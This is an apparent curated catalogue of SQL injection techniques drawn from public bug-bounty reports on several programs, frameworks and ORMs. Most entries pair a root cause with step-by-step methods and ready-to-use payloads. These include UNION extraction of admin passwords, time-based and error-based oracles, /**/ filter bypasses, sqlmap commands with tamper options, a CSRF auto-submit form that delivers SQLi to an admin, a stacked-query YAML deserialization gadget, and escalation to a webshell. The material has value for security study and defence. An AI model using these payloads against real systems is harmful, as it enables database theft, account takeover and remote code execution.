/pls/apex/f?);OWA_UTIL.CELLSPRINT(:1);--=select+SYS_CONTEXT('USERENV','IP_ADDRESS',15)+from+dual
Insight — Any /pls/ mod_plsql or APEX gateway is worth probing for callable OWA_UTIL/OWA packages - an old but recurring Oracle exposure that yields direct SELECT execution without classic quote-breaking.
Real-world example
Login SQLi: /**/ space bypass + CASE WHEN error oracle
◆ Critical
Specimen #982202 · deptofdefense · none · 10 votes · resolved
Program deptofdefenseSurface web
Root cause
A login usr parameter injects into SQL but spaces are rejected; using /**/ as whitespace and a CASE WHEN that references a valid vs invalid column yields a 302 (valid) vs 500 (error) boolean oracle to count/extract without sqlmap.
Method
- Confirm injection: usr='/**/or/**/lastName!=' -> 302 (valid column) vs usr='/**/or/**/abc!=' -> 500 (bad column)
- Build a CASE WHEN <condition> THEN <valid-col> ELSE <bad-col> END so true=302, false=500
- Binary-search count(*) FROM accounts to enumerate rows (found 26)
usr=asdf'/**/and/**/lastName/**/in/**/(select/**/CASE/**/WHEN/**/((SELECT/**/count(*)/**/FROM/**/accounts)=26)/**/THEN/**/'a'/**/ELSE/**/1/**/END)/**/and/**/usr!='
Insight — When sqlmap fails on a restricted charset, hand-craft an oracle from whatever two responses differ (302 vs 500). Column-name validity itself is a boolean channel: valid col -> query runs, invalid -> error. /**/ replaces blocked spaces.
Real-world example
PostgreSQL error-based leak via cast-to-date
◆ Critical
Specimen #1489744 · deptofdefense · none · 9 votes · resolved
Program deptofdefenseSurface api
Root cause
A POST parameter injects into a PostgreSQL query; casting a text subquery result to date/timestamp raises a type error that embeds the value ('invalid input syntax for type timestamp: "<data>"').
Method
- Break out with AA' and OR a condition
- Wrap version()/current_user in cast(... as date)
- Read the leaked string from the type-error message
AA'+OR(cast(version as date))LIKE'A
AA'+OR(cast(current_user as date))LIKE'A
// err: invalid input syntax for type timestamp: "<value>"
Insight — Postgres error-based extraction: cast a subquery to date/int/timestamp to force the value into the error text. Equivalent to MySQL updatexml - reach for it whenever the app returns DB error strings.
Real-world example
Prototype pollution -> SQL injection in TypeORM
◆ Critical
Specimen #869574 · nodejs-ecosystem · none · 8 votes · resolved
Program nodejs-ecosystemSurface otherChain prototype pollution (mergeDeep) -> Object.prototype.where
Root cause
TypeORM's mergeDeep (OrmUtils.ts) recursively copies keys including __proto__, so saving a crafted object pollutes Object.prototype; injecting a 'where' property causes every subsequent ORM find() to append an attacker-controlled WHERE clause (or DoS via prototype loop).
Method
- Save/merge an object carrying a __proto__ payload through the ORM
- Set Object.prototype.where to an attacker filter
- Any later manager.find(Entity) inherits the polluted where -> SQL injection / data leak
- DoS variant: pollute with a cyclic prototype
const post = JSON.parse('{"text":"a","title":{"__proto__":{"where":{"name":"sqlinjection","where":null}}}}')
// DoS: {"text":"a","title":{"__proto__":{"polluted":{}}}}
Insight — Recursive deep-merge/assign helpers that don't skip __proto__/constructor are prototype-pollution gadgets; when the polluted object later drives a query builder, PP escalates straight to SQLi. Audit any mergeDeep/extend in ORMs and config loaders. CVE-2020-8158.
Real-world example
Second-order blind SQLi: inject at one endpoint, execute at another
◆ Critical
Specimen #1066233 · h1-ctf · none · 5 votes · resolved
Program h1-ctfSurface webChain second-order SQLi -> dump admin creds -> admin login
Root cause
A name submitted to /evil-quiz is stored, then used unsanitized in a COUNT(...) query only when /score is fetched; the stored value is the injection, executed second-order, and the row count is the boolean oracle.
Method
- Submit name = payload to /evil-quiz, then read the 'N other players' count at /score as the TRUE/FALSE signal.
- Fingerprint DBMS via comment behavior (-- vs --+ ) -> MySQL; count columns with order by 1,2,3,4,5.
- UNION into the string column; enumerate information_schema then admin table.
- Extract password with LIKE '<found><guess>%' char by char; retest with ascii(substr(...)) for case-sensitivity.
name=test'or'1'='1'--+ (MySQL comment fingerprint)
name=test'+AND+'1'='2'+union+select+NULL,NULL,NULL,table_name+from+information_schema.tables+where+table_name+LIKE+'admin%'--+
name=test'+AND+1=2+union+select+1,2,3,password+from+admin+where+username='admin'+and+password+LIKE+'S3creT%'--+
name=test'...and+ascii(substr(password,1,1))=ascii('S')--+
Insight — When input is stored and echoed as a count/status elsewhere, treat that count as a boolean oracle for second-order blind SQLi; sqlmap supports it via --second-url. Watch for case-sensitive columns: LIKE is case-insensitive, so verify the final value with ascii(substr()).
Real-world example
Nested/second-order UNION SQLi pivoted to SSRF + blind via status-code oracle
◆ Critical
Specimen #1069263 · h1-ctf · none · votes · resolved
Program h1-ctfSurface webChain UNION SQLi -> second-order UNION controls image path ->Tag account-takeover
Root cause
An album hash param is injectable; the value it returns is fed into a SECOND query, so a nested UNION can control a downstream column (an image path) that a server-side fetcher then requests, converting SQLi into SSRF. A further injection point reaches an internal API whose HTTP status differences form a blind boolean oracle.
Method
- Confirm UNION SQLi on the first param (?hash=) and match column count/types.
- Nest a second UNION inside a selected string so the value is re-used as the photo/image path in the follow-up query (second-order).
- Point that controlled path at internal resources (../api/user) to make the server-side image fetcher perform SSRF; the app even recomputes the signed 'auth' hash for you.
- Where output is suppressed, use a downstream endpoint's status codes (200 vs 204) as a boolean oracle to blind-extract username/password with LIKE '%'.
-- 1st-order UNION (pick any album without the hash):
' union all select "3", 3, 'test' --
-- Nested/second-order UNION: value becomes the image path used by /picture (SSRF):
' union all select "3' union all select 1, 2, '../api/user?username=g%' -- ", 3, 'test' --
-- Server signs the payload; blind oracle via status code on the SSRF target:
-- HTTP 200 => LIKE matched (char correct), HTTP 204 => no match
Insight — When an injectable value is stored and re-queried, a nested UNION lets you steer a downstream query's output; if that output is a URL/path a server fetches, SQLi becomes SSRF. Always test whether SQLi output flows into another query or a server-side fetch, and use any downstream status/latency difference as a blind oracle when direct output is gone.
Real-world example
SQLi in a Cookie parameter (lang)
◆ High
Specimen #761304 · mtn_group · none · 323 votes · resolved
Program mtn_groupSurface web
Root cause
A value carried in the Cookie header (lang) is concatenated into a SQL query. One quote produces a syntax error; a second quote balances it and removes the error - the classic parity tell.
Method
- Add a single quote to a cookie value: Cookie: lang=en'
- Observe a SQL syntax error in the response.
- Add a second quote (lang=en'') and confirm the error disappears (balanced), confirming injection.
Cookie: PHPSESSID=...; lang=en'; _ga=...
Insight — Cookie values are frequently trusted and unsanitized. Fuzz every cookie for SQLi; the one-quote-error / two-quote-clean parity test is a fast, low-noise confirmation before any exfiltration.
Real-world example
Error-based extraction via extractvalue() with comment-based keyword bypass
◆ High
Specimen #962889 · acronis · awarded · 237 votes · resolved
Program acronisSurface api
Root cause
unit parameter of an agent-manager API concatenated into MySQL query. extractvalue(1,concat(char(126),(subquery))) forces the subquery result into an XPATH error message, exfiltrating data in one request.
Method
- Break out of the string context in the unit param with a quote.
- Use /**/ in place of spaces around AND to bypass simple keyword/space filters.
- Leak DB/user via extractvalue error: char(126) prefixes the tilde so the leaked string is easy to read.
...&unit=atp-agent'and/**/extractvalue(1,concat(char(126),(select+database())))and'
...&unit=atp-agent'and/**/extractvalue(1,concat(char(126),(select+user())))and'
Insight — On MySQL, error-based extractvalue()/updatexml() gives single-request exfiltration when time-based is slow. Replace spaces with /**/ and use char(126) (~) as a delimiter to read leaked values.
Real-world example
SOAP/WSDL admin function replay with tampered SQL (CVE-2018-16803)
◆ Critical
Specimen #390359 · deptofdefense · none · 30 votes · resolved
Program deptofdefenseSurface api
Root cause
An exposed SOAP admin panel (CIMScan) published its WSDL; enumerating the WSDL revealed callable functions whose SQL query could be replayed with attacker-supplied SQL, allowing DB name extraction and likely full compromise.
Method
- Fetch the service WSDL and enumerate exposed operations/functions
- Identify an operation that runs a SQL query on your input
- Replay the SOAP request with a tampered SQL command to extract database names
Insight — Treat WSDL as an attack map: it lists every server-side function and its parameters. SOAP/XML endpoints are frequently missed by scanners; parse the WSDL, then fuzz each operation's parameters for SQLi just like a REST param.
Real-world example
Unauth WordPress AJAX shortcode ORDER BY SQLi (Formidable Pro) + sqlmap tamper
◆ High
Specimen #273946 · grab · USD 4500 · 202 votes · resolved
Program grabSurface web
Root cause
The Formidable Pro admin-ajax preview action (frm_forms_preview) is reachable unauthenticated and renders attacker HTML/shortcodes. The [display-frm-data] shortcode's order/order_by params reach an ORDER BY clause unsanitized, giving an ORDER-BY (boolean, one-bit) injection.
Method
- Hit /wp-admin/admin-ajax.php with action=frm_forms_preview (no auth needed).
- Inject HTML+shortcode via after_html/before_html: [display-frm-data id=835 order_by=id order=zzz] -> SQL error in ORDER BY.
- Exfiltrate via order direction (1 bit) and drive with sqlmap, working around comma-mangling the plugin introduces.
curl -s 'https://TARGET/wp-admin/admin-ajax.php' --data 'action=frm_forms_preview&before_html=XXX[display-frm-data id=835 order_by=id limit=1 order="%2a( true=true )"]XXX'
# sqlmap:
sqlmap -u 'https://TARGET/wp-admin/admin-ajax.php' --data 'action=frm_forms_preview&before_html=XXX[display-frm-data id=835 order_by=id limit=1 order="%2a( true=true )"]XXX' --param-del ' ' -p true --dbms mysql --technique B --eval 'true=true.replace(",",",-it.id%2b");order_by="id,"*true.count(",")+"id"' --tamper commalesslimit
Insight — Unauthenticated WP admin-ajax actions that render shortcodes are a rich surface: an ORDER BY sink only leaks one bit per request but is fully exploitable. When the app rewrites commas, use sqlmap --eval to pre-repair the query and the commalesslimit tamper to avoid commas in LIMIT.
Real-world example
Time-based blind SQLi in an API search parameter
◆ High
Specimen #1039315 · automattic · awarded · 170 votes · resolved
Program automatticSurface api
Root cause
The search parameter of a reader_api stories endpoint is concatenated into a MySQL query; standard string-context time-based blind injection.
Method
- Fuzz each GET param of the API endpoint with a quote + SLEEP.
- Confirm string-context AND-SLEEP payload delays the response.
- Fingerprint DBMS (MySQL >= 5.0.12).
GET /reader_api/stories.php?limit=10&offset=20&organization_id=88822&search=0' AND SLEEP(5) AND 'wRIg' LIKE 'wRIg&sort=
Insight — Multi-param JSON/REST APIs often leave a single search param injectable. The AND SLEEP(5) AND 'x' LIKE 'x wrapper closes and re-opens the surrounding quotes cleanly for string contexts.
Real-world example
SQLi in an admin-API search param behind a Bearer JWT
◆ High
Specimen #923020 · acronis · USD 250 · 118 votes · resolved
Program acronisSurface apiChain admin panel access -> authenticated API SQLi -> dump uTag jwt
Root cause
After gaining access to a dev admin panel, a quote in the panel's search box returned a server error from the backing admin API; the search parameter was injectable. sqlmap dumped multiple databases incl. users and password_resets tables.
Method
- Access the admin panel; intercept the API request the search box triggers (carries an Authorization: Bearer JWT).
- Put a quote in the search value -> API server error.
- Save the full raw authenticated request and run sqlmap -r with the auth header intact.
GET /api/admin/pages?page=1&limit=100&sort=%2Btype&filter=%7B%7D&search=* HTTP/1.1
Authorization: Bearer eyJ0eXAiOiJKV1Qi...
# then:
sqlmap -r req.txt --level 5 --risk 3 --random-agent --dbs
sqlmap -r req.txt -D acronis_site --tables
Insight — Search boxes in admin/reporting panels are prime SQLi sinks. When the request needs auth, save the raw request (with the Bearer/session header) to a file and drive sqlmap with -r so the token is replayed on every probe.
Real-world example
Error-based + time-based SQLi in admin search keyword (Revive Adserver)
◆ High
Specimen #3395221 · revive_adserver · none · 92 votes · resolved
Program revive_adserverSurface web
Root cause
admin-search.php registers the keyword GET param via phpAds_registerGlobalUnslashed() (no escaping) and passes it to multiple DAL getXByKeyword() functions that build SQL without parameterization.
Method
- As an authenticated admin/agency user, hit admin-search.php?keyword=FUZZ&compact=t.
- Confirm error-based via extractvalue(); and time-based via SLEEP().
- Save the request and run sqlmap -r ... --dbs.
keyword=FUZZ') AND EXTRACTVALUE(8429,CONCAT(0x5c,0x716a7a6a71,(SELECT (ELT(8429=8429,1))),0x7178787871))-- Nqvq&compact=t
keyword=FUZZ') AND (SELECT 3790 FROM (SELECT(SLEEP(5)))yGYJ)-- YFDA&compact=t
Insight — Legacy 'register globals'-style helpers (phpAds_registerGlobalUnslashed) that unslash rather than escape are systemic SQLi sources - grep for them and trace every getXByKeyword()-style DAL call. keyword') breakout implies the value sat inside a function call / parenthesized IN(...).
Real-world example
Boolean blind via inline-comment whitespace bypass + LIKE-wildcard oracle
◆ High
Specimen #1893800 · security · none · 86 votes · resolved
Program securitySurface web
Root cause
CVE Discovery search splits terms on whitespace with no further sanitization; using /**/ instead of spaces lets keywords through, and a LIKE wildcard comparison ('1%'='1 vs '1%'='0) acts as a boolean oracle.
Method
- Enter a search term that returns results.
- Append /**/AND/**/'1%'='1 -> results still returned (true).
- Change to /**/AND/**/'1%'='0 -> no results (false); the differential proves injection.
<term> /**/AND/**/'1%'='1
<term> /**/AND/**/'1%'='0
Insight — When an app tokenizes input on whitespace, replace spaces with /**/ to keep SQL syntax intact. A LIKE-wildcard equality ('1%'='1) is a compact boolean oracle that survives partial-match search logic.
Real-world example
SQLi in a ColdFusion .cfm numeric param (MSSQL)
◆ High
Specimen #390879 · deptofdefense · none · 80 votes · resolved
Program deptofdefenseSurface web
Root cause
The countID numeric parameter of a ColdFusion endpoint (saveCount.cfm) is injectable against MS SQL Server 2008 R2; classic numeric-context injection confirmed with sqlmap and a version banner.
Method
- Identify a ColdFusion .cfm endpoint taking a numeric id (saveCount.cfm?countID=4).
- Run sqlmap with raised level/risk against the numeric param.
- Retrieve the MSSQL banner to confirm.
sqlmap -u 'https://TARGET/public/saveCount.cfm?countID=4' --level=3 --risk=3
Insight — ColdFusion (.cfm/.cfc) apps are an under-tested surface and frequently sit on MSSQL - worth explicit fuzzing. Numeric params need no quote to break out; raise sqlmap --level/--risk to catch them.
Real-world example
Auth-bypass SQLi in login field + client-side maxlength bypass
◆ High
Specimen #419017 · deptofdefense · none · 73 votes · resolved
Program deptofdefenseSurface web
Root cause
Login/lookup form field (SSN) concatenated unsanitized into an ASP.NET SQL query, allowing tautology auth bypass; the field's short maxlength is only a client-side control.
Method
- Edit the SSN input in DevTools, change maxlength="9" to maxlength="9999" so a full payload fits
- Enter a tautology payload in the SSN field and a guessed birth date
- Submit; the OR-true condition logs in as / returns another user's record
- Confirm the birth-date field too: ' gives HTTP 500, '' gives HTTP 200 (syntactic vs valid-but-typed error)
' OR '1'='1
Insight — HTML maxlength/format attributes never constrain the server. On identity-lookup forms (SSN, order#, membership#), always widen the field client-side and test a tautology; single-vs-double-quote 500/200 differential is a fast blind confirm.
Real-world example
Django JSONField KeyTransform SQLi via .values() column alias (CVE-2024-42005)
◆ High
Specimen #2588426 · django · none · 68 votes · resolved
Program djangoSurface api
Root cause
User-controlled JSON key names passed to QuerySet.values('value_custom__<key>') are interpolated into the SELECT column alias unescaped, so a key containing a double-quote breaks out of the aliased expression.
Method
- Reach a view that forwards user input into .values() as a JSONField key path lookup
- Supply a key containing a double-quote (e.g. value ending in \")
- Observe SQL syntax error where the alias "value_custom__<key>" is closed early
- Escalate to full injection via the broken-out alias
NullableJSONModel.objects.filter(value_custom__isnull=False).values("value_custom__" + user_input) # user_input = 'beeeee"'
Insight — Framework ORMs are not automatically injection-safe: identifiers/aliases (column names, JSON key paths) are often NOT parameterized even when values are. Any place user input becomes a column/alias/order/relation name in Django/Rails/etc. is a candidate SQLi sink. Audit .values(), .order_by(), .extra(), annotations.
Real-world example
Django HasKey JSONField lookup SQLi on Oracle via untrusted lhs (CVE-2024-53908)
◆ High
Specimen #2882887 · ibb · awarded · 61 votes · resolved
Program ibbSurface api
Root cause
Direct use of django.db.models.fields.json.HasKey with an attacker-controlled left-hand-side value builds unescaped SQL on Oracle; the __ has_key syntax is safe, but the direct HasKey(lhs, rhs) form is not.
Method
- Find code using HasKey(lhs, rhs) directly with untrusted lhs on an Oracle backend
- Supply a crafted lhs to inject SQL
- Confirm arbitrary SQL execution / data access
HasKey(untrusted_lhs, 'somekey') # untrusted_lhs controls raw SQL on Oracle
Insight — Even within one ORM, safety varies by API surface and DB backend: the __ lookup sugar was safe while the direct lookup class was not, and only Oracle was affected. When auditing ORM SQLi, enumerate every construction form of a lookup and test per-backend.
Real-world example
CSRF-delivered blind SQLi in an abandoned WordPress plugin
◆ High
Specimen #135288 · uber · awarded · 55 votes · resolved
Program uberSurface webChain CSRF (no nonce) -> admin-context blind SQLi in reorder.phTag file-upload
Root cause
The q-and-a WP plugin's reorder.php uses $_POST values (hdnParentID/pages) directly in $wpdb queries with no escaping and no CSRF nonce, so a logged-in admin visiting an attacker page triggers blind SQLi.
Method
- Identify an outdated/removed-from-repo plugin (q-and-a 1.0.6.2) and pull its source
- Locate unescaped $wpdb->get_row/get_results using POST params in reorder.php
- Because the endpoint has no CSRF token, build an auto-submitting HTML form targeting it
- Payload IF(MID(VERSION(),1,1)=5,SLEEP(5),0) confirms via delay when an admin loads the page
<form action="https://TARGET/wp-admin/edit.php?post_type=qa_faqs&page=faqpageorder" method="post">
<input name="hdnParentID" value="IF(MID(VERSION(),1,1) = 5, SLEEP(5), 0)">
<input name="btnReturnParent" value="1">
</form><script>document.forms[0].submit()</script>
Insight — Removed/unmaintained WP plugins are a rich SQLi source - fetch the last SVN version and grep $wpdb concatenation. When the vulnerable admin action lacks a CSRF nonce, you can deliver the SQLi cross-site against an authenticated admin, upgrading a self-only bug into a remote attack.
Real-world example
Django FilteredRelation alias SQLi via incomplete regex allowlist (CVE-2025-57833)
◆ High
Specimen #3417967 · django · none · 52 votes · resolved
Program djangoSurface api
Root cause
The FORBIDDEN_ALIAS_PATTERN regex meant to sanitize FilteredRelation aliases was incomplete, letting user-controlled alias input be interpreted as raw SQL when annotating on PostgreSQL.
Method
- Reach a view where user input becomes a FilteredRelation alias in an annotate()
- Craft an alias that slips past the incomplete FORBIDDEN_ALIAS_PATTERN filter
- Inject raw SQL through the alias
FilteredRelation(<relation>, condition=...) # user-controlled alias bypasses FORBIDDEN_ALIAS_PATTERN
Insight — Regex allow/deny-lists over identifiers are a recurring failure mode - an incomplete pattern is an injection. When a framework 'validates' an identifier with a regex rather than quoting/whitelisting, probe the regex edges (unicode, quotes, comment chars). Same JSON/alias SQLi family as CVE-2024-42005 / CVE-2024-53908.
Real-world example
SQL injection via JSON key used as column alias
◆ High
Specimen #2646493 · ibb · USD 4263 · 52 votes · resolved
Program ibbSurface web
Root cause
Django's QuerySet.values()/values_list() on a model with a JSONField built a column alias from a JSON object key passed as an *arg without escaping, allowing SQL injection through a crafted key (CVE-2024-42005).
Method
- Find a Django view exposing values()/values_list() over a JSONField with user-influenced keys
- Pass a crafted JSON object key as the argument
- Key is interpolated into the SQL column alias unescaped
- Inject arbitrary SQL
Model.objects.values('jsonfield__key"; <SQL> --') # crafted JSON key -> column alias injection
Insight — Column aliases and identifiers are an under-tested SQLi surface (ORMs escape values but not always identifiers). Where user input reaches values()/annotate() aliases or ORDER BY column names, test identifier-context injection.
Real-world example
Oracle error-based SQLi with quote-parity detection and INTO OUTFILE webshell RCE
◆ High
Specimen #519631 · deptofdefense · none · 49 votes · resolved
Program deptofdefenseSurface webChain SQLi -> file write to webroot -> ASPX webshell -> R
Root cause
app_id in an ASP.NET page is concatenated into an Oracle numeric-context query; verbose errors leaked source and confirmed injection, with ORA error codes distinguishing valid vs invalid syntax.
Method
- Replay the failing GET as POST with body app_id='
- One quote -> ORA-01756 (quoted string not properly terminated) = syntactically broken
- Two quotes app_id='' -> ORA-01722 (invalid number) = valid SQL but wrong type, confirming injection in a numeric context
- Escalate: write a webshell to the webroot via file-write (INTO OUTFILE-style) and browse to it for RCE
app_id=' -> ORA-01756
app_id='' -> ORA-01722 (invalid number)
Insight — Odd/even quote parity is a language-agnostic confirm: a single quote breaks syntax, a doubled quote is valid-but-typed-wrong - two different errors prove injection. Oracle ORA-#### codes fingerprint the DB. Verbose error pages can leak source that reveals the sink before you even test. SQLi -> file write -> webshell is a standard RCE path.
Real-world example
Time-based SQLi in JSON login body via XOR/sysdate sleep payload
◆ High
Specimen #1436751 · acronis · awarded · 48 votes · resolved
Program acronisSurface apiTag account-takeover
Root cause
The username field of a JSON login request is concatenated into a MySQL query; an XOR-wrapped conditional using now()=sysdate() gates SLEEP for a reliable time oracle even inside JSON.
Method
- POST JSON login with the XOR/sysdate/sleep payload as the username value
- Vary the sleep argument (35,15,6) and confirm response time tracks it
- Extract data by replacing now()=sysdate() with data-dependent conditions
{"username":"0'XOR(if(now()=sysdate(),sleep(35),0))XOR'Z","id":"27","password":"..."}
Insight — 0'XOR(if(now()=sysdate(),sleep(N),0))XOR'Z is a portable MySQL time-blind gadget that fits string contexts (JSON, form, cookie) and dodges many WAF signatures; now()=sysdate() is always true and evades naive 1=1 filters. Widely reused - test login username/phone/email fields.
Real-world example
Time-based blind SQLi in POST param (group_id) with balanced quote-break
◆ High
Specimen #198292 · starbucks · none · 35 votes · resolved
Program starbucksSurface web
Root cause
group_id in a multi-field POST body is concatenated into a MySQL query; a stacked IF(cond,SLEEP,0) with a trailing AND rebalances the quotes for a clean time oracle.
Method
- POST the form with an IF(1=1,SLEEP(1),0) gadget in group_id, closing quotes with a trailing AND group_id='1
- Time responses: true condition sleeps, false returns fast
- Fingerprint version with IF(MID(VERSION(),1,1)='5',SLEEP(1),0)
ACT=55&jsontree={"x":1}&site_id=1&group_id=1'-IF(1=1,SLEEP(1),0) AND group_id='1
Insight — The x'-IF(cond,SLEEP(n),0) AND col='x pattern injects into a single-quoted string context while keeping the surrounding query syntactically valid, avoiding errors that would hide a blind bug. Test every field in a multi-param POST, not just the obvious one.
Real-world example
SQLi -> transaction escape -> paper_trail YAML deserialization RCE
◆ High
Specimen #1663299 · security · none · 29 votes · resolved
Program securitySurface webChain stacked-query SQLi -> persist crafted paper_trail version
Root cause
An internal EXPLAIN ANALYZE tool interpolated raw_sql into a query wrapped in a rollback transaction; the injection can emit ROLLBACK + INSERT to persist a crafted paper_trail UserVersion whose YAML 'object' is later reify()'d, deserializing an attacker-controlled Ruby gadget.
Method
- In the SQL analyzer, submit a statement that closes the query, issues ROLLBACK to escape the wrapping transaction, then INSERTs a row into user_versions with a malicious YAML object and a unique email
- Comment out (-- ) the transaction's appended ROLLBACK so the INSERT persists
- Visit the historic-users feature with historic_user_input=<unique email>; versions.first.reify deserializes the YAML gadget and executes the command
SELECT 1;
ROLLBACK;
INSERT INTO user_versions (item_type,item_id,event,email,object) VALUES ('User',2,'update','uniquekeywordtotriggercode@hackerone.com','---\nusername:\n - !ruby/object:Gem::Installer\n ...\n git_set: sleep 600\n method_id: :resolve ');
--
Insight — An INSERT-capable SQLi against an app that later deserializes stored rows (paper_trail/versioning, cached blobs, serialized columns) is a second-order RCE primitive. Look for ROLLBACK/transaction wrappers you can escape with stacked queries + a trailing comment, and for any code path that reify()/YAML.load's DB content.
Real-world example
Time-based blind SQLi found by brute-forcing .php scripts sharing a param
◆ High
Specimen #491191 · deptofdefense · none · 26 votes · resolved
Program deptofdefenseSurface web
Root cause
Multiple scripts in /pubs/ (move_papers.php, get_publications.php, library.php) reuse the same vulnerable id parameters concatenated into MySQL queries; time-based blind confirmed via a stacked SLEEP subquery.
Method
- Brute-force files under /pubs/ to discover additional scripts
- Test the shared id param (pub_group_id / doc_id) with a concatenated SLEEP subquery
- Confirm timing delay; extract banner with sqlmap --technique=T
GET /pubs/move_papers.php?pub_group_id=a'+(select*from(select(sleep(5)))a)+'
GET /library.php?path=test&doc_id=1 AND (SELECT * FROM (SELECT(SLEEP(1)))WUeh)
# sqlmap.py -r req.txt --dbms=mysql --technique=T -p pub_group_id --banner
Insight — Once one script/param is injectable, content-discovery (brute-force .php in the same directory) usually surfaces siblings that reuse the vulnerable parameter and code. The a'+(select..sleep..)+' string-concat SLEEP form is a portable MySQL time oracle.
Real-world example
Boolean SQLi in URL path segment of a CSV export endpoint
◆ High
Specimen #319279 · khanacademy · none · 22 votes · resolved
Program khanacademySurface web
Root cause
A translations CSV export interpolated a language code embedded in the URL path into a query; a single quote caused a 500, and boolean conditions changed which CSV rows were returned.
Method
- Inject a single quote into the path-embedded value and observe a 500 error
- Craft a valid boolean-true condition to return all rows
- Craft a boolean-false condition to return only the baseline rows (differential oracle)
https://TARGET/translations/videos/en' or'1'=='1_youtube_stats.csv # true -> all CSVs
https://TARGET/translations/videos/en' AND'1'=='0_youtube_stats.csv # false -> only english
Insight — Injection points hide inside structured path/filename segments (…/en_youtube_stats.csv). The unusual '==' equality operator here signals a non-SQL92 backend/ORM DSL - fingerprint the engine from the operator that works. Confirm with a 1==1 vs 1==0 row differential.
Real-world example
Drupalgeddon: prepared-statement placeholder injection via array keys (CVE-2014-3704)
◆ High
Specimen #31756 · ibb · awarded · 21 votes · resolved
Program ibbSurface webChain pre-auth SQLi -> stacked INSERT (admin session / callback
Root cause
Drupal 7's expandArguments() builds placeholder names from array keys ($key.'_'.$i). Passing an associative array with a crafted non-integer key injects that key text into the SQL, breaking out of the prepared IN() statement; with PDO stacked queries this yields pre-auth SQLi and INSERT-driven code execution.
Method
- Send the login form's name field as an associative array so keys, not values, are placed in the query
- Use a key like 'test) -- ' to comment out the rest and inject
- Stack an INSERT to create an admin session or write a callback -> RCE
db_query("SELECT * FROM {users} WHERE name IN (:name)", array(':name'=>array('test) -- ' => 'user1','test' => 'user2')));
// -> SELECT * FROM users WHERE name IN (:name_test) -- , :name_test )
// HTTP: form_id=user_login&name[0;...]=... (array-shaped POST keys carry the injection)
Insight — Array/hash parameters whose KEYS are interpolated into SQL are a subtle injection class that survives 'we use prepared statements'. When a framework builds placeholder names from user-controllable array keys, send arrays instead of scalars. PDO/mysqli multi-statement support turns this into stacked-query INSERT -> RCE.
Real-world example
Error-based in-band SQLi via updatexml() extraction (and patch regression)
◆ High
Specimen #277380 · deptofdefense · none · 21 votes · resolved
Program deptofdefenseSurface web
Root cause
A parameter unsanitized for ' allowed MySQL error-based extraction using updatexml(); a previously fixed report (#231338) had its patch reverted, reintroducing the bug.
Method
- Inject ' and updatexml(null,concat(0x0a,version()),null)-- - and read the XPath error message
- Swap version() for user()/database() to extract more values in-band
- Re-test old fixed endpoints - patches get reverted
' and updatexml(null,concat(0x0a,version()),null)-- -
' and updatexml(null,concat(0x0a,user()),null)-- -
' and updatexml(null,concat(0x0a,database()),null)-- -
Insight — updatexml()/extractvalue() leak query results directly in the error string - fast in-band extraction on MySQL when output is otherwise blind. Always regression-test previously patched SQLi endpoints; reverted/rolled-back fixes reopen bugs.
Real-world example
TypeORM parameter escaping bypass via Function-valued bound param
◆ High
Specimen #506654 · nodejs-ecosystem · none · 15 votes · resolved
Program nodejs-ecosystemSurface other
Root cause
MysqlDriver.escapeQueryWithParameters returns a bound parameter's value unescaped when it is a Function (calls value() and inlines the result), so passing a function callback as a query parameter injects raw SQL.
Method
- Build a query with a named parameter whose value is a function returning SQL
- The driver executes the function and inlines its string without escaping/binding
- Injected SQL runs (e.g. OR-based data disclosure)
repo.createQueryBuilder()
.where('firstName = :name', { name: () => "-1 or firstName=0x54696d6265722033" })
.getOne();
Insight — ORMs that accept function-typed parameters as 'raw SQL escape hatches' become SQLi sinks when app code forwards user data through them. Audit ORM param handling for type branches (instanceof Function/Raw) that skip escaping, and never let user input flow into a callback-shaped parameter.
Real-world example
Time-based + boolean blind: manual version fingerprint via IF(MID(@@version...))
◆ High
Specimen #313037 · deptofdefense · none · 14 votes · resolved
Program deptofdefenseSurface web
Root cause
A POST email parameter concatenated into a MySQL query yields time-based blind SQLi; version and further data are extracted manually with IF()+SLEEP conditional timing.
Method
- Confirm injection with a stacked SLEEP concat payload and compare response times
- Fingerprint the MySQL major version with IF(MID(@@version,1,1)=X,sleep(2),1)
- Extend the boolean+timing oracle to extract arbitrary data character-by-character
rememail=test@att.net'+(select*from(select(sleep(2)))a)+'
rememail=test@att.net'+IF(MID(@@version,1,1)=5,sleep(2),1)=2+'
Insight — IF(condition,SLEEP(n),0) with MID/SUBSTRING gives a self-contained blind extraction oracle when no in-band output exists. Injecting into an email field is viable - test every POST field, not just obvious ids. Use SLEEP(0) as the negative control to rule out network jitter.
Real-world example
Time-based SQLi in URL path with multi-context polyglot payload
◆ High
Specimen #374027 · hannob · none · 14 votes · resolved
Program hannobSurface web
Root cause
Serendipity's /plugin/tag/<tag> path segment is concatenated into a MySQL query; a polyglot payload using now()=sysdate() proves time-based blind across quote/comment contexts.
Method
- Inject the polyglot into the tag path segment
- Vary the SLEEP value and measure response time (linear correlation = injection)
- URL-encode the payload for the GET request
if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"*/
# GET /plugin/tag/if(now()%3dsysdate()%2csleep(0)%2c0)/*'XOR(...)OR'%22XOR(...)OR%22*/
Insight — now()=sysdate() defeats MySQL query-cache masking of SLEEP (cached now() would not delay). The /* '" XOR ... */ polyglot fires whether the sink is unquoted, single-, or double-quoted, so one payload covers unknown contexts - ideal for URL-path injection where you can't see the surrounding query.
Real-world example
Node ORM string-concat SQLi (untitled-model)
◆ High
Specimen #507222 · nodejs-ecosystem · none · 14 votes · resolved
Program nodejs-ecosystemSurface other
Root cause
An npm ORM/query-builder places user-supplied filter values directly into the SQL string without escaping, so a value passed to filter({id: ...}) breaks out of the literal.
Method
- Install the package and connect it to a test MySQL DB
- Call the query API with a normal value to see the baseline row
- Pass a string value that closes the quote and adds an OR condition
User.filter({'id': "' or id=2#"}, cb)
// -> SELECT ... WHERE id='' or id=2#' returns row id=2
Insight — Third-party ORMs/query-builders are a rich SQLi source: audit any *.filter/where/raw helper that concatenates instead of using placeholders. The transferable probe is a value that closes the quote and appends OR <known-true>#.
Real-world example
MySQL time-based blind via XOR/sysdate sleep
◆ High
Specimen #1024984 · deptofdefense · none · 14 votes · resolved
Program deptofdefenseSurface web
Root cause
A URL parameter is concatenated into a MySQL query inside a string context; no output differs, so a conditional SLEEP proves and then extracts data blind.
Method
- Break the string context with a single quote
- Inject an XOR/sysdate conditional sleep and measure response time
- Scale the multiplier (sleep(1*1) vs sleep(2*2)) to confirm the delay tracks the query
c=G14'XOR(if(now()=sysdate(),sleep(1*1),0))OR'
